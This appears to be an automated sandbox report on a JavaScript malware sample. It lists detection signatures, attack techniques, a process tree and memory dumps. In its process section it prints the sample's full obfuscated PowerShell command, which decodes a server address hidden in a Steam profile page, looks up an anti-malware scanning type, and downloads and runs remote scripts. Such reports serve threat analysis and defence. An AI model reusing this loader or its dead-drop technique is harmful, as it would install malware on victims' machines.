Analysis
- max time kernel
148s - max time network
113s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
10/09/2026, 22:47
General
- Target jaffacakes118_d4bac0926233c04713e5978d3ce4ef7d0ac93260c07cf367c1e71d716538348a.js
- Size 1KB
- Sample260910-2qrm2syzey
- SHA256 d4bac0926233c04713e5978d3ce4ef7d0ac93260c07cf367c1e71d716538348a
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_d4bac0926233c04713e5978d3ce4ef7d0ac93260c07cf367c1e71d716538348a.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$yvf155d=('R'+'ef' -as [Type]).('As'+'se'+'mb'+'ly').GetTypes();$tspn7w36n = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(((((iwr -useb 'https://steamcommunity.com/profiles/76561199857376321').content -split 'g_rgProfileData =')[1] -split '.?summary.?:.?')[1] -split '.?}')[0])); Foreach($r7c7a in $yvf155d) {if ($r7c7a.Name -like '*ams*U?*ls') {$c=$r7c7a}}; $env:paths = '7z5KUI9UN10A'; IEX(iwr ($tspn7w36n+'/tweetersUm3.php')); IEX(iwr ($tspn7w36n+'/railheads7tV4.ps1'))"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
memory/2256-0-0x0000000074F32000-0x0000000074F33000-memory.dmp
memory/2256-1-0x0000000004940000-0x0000000004976000-memory.dmp
memory/2256-3-0x0000000004FD0000-0x000000000561A000-memory.dmp
memory/2256-2-0x0000000074F20000-0x00000000756DC000-memory.dmp
memory/2256-4-0x00000000056A0000-0x00000000056C2000-memory.dmp
memory/2256-6-0x0000000005860000-0x00000000058C6000-memory.dmp
memory/2256-5-0x0000000005740000-0x00000000057A6000-memory.dmp
memory/2256-7-0x0000000074F20000-0x00000000756DC000-memory.dmp
memory/2256-10-0x0000000005990000-0x0000000005CEB000-memory.dmp
memory/2256-11-0x0000000005DF0000-0x0000000005E0E000-memory.dmp
memory/2256-12-0x0000000005E50000-0x0000000005E9C000-memory.dmp
memory/2256-13-0x0000000006230000-0x000000000624A000-memory.dmp
memory/2256-14-0x00000000074A0000-0x0000000007B1C000-memory.dmp
memory/2256-15-0x00000000083D0000-0x0000000008B76000-memory.dmp
memory/2256-17-0x0000000074F20000-0x00000000756DC000-memory.dmp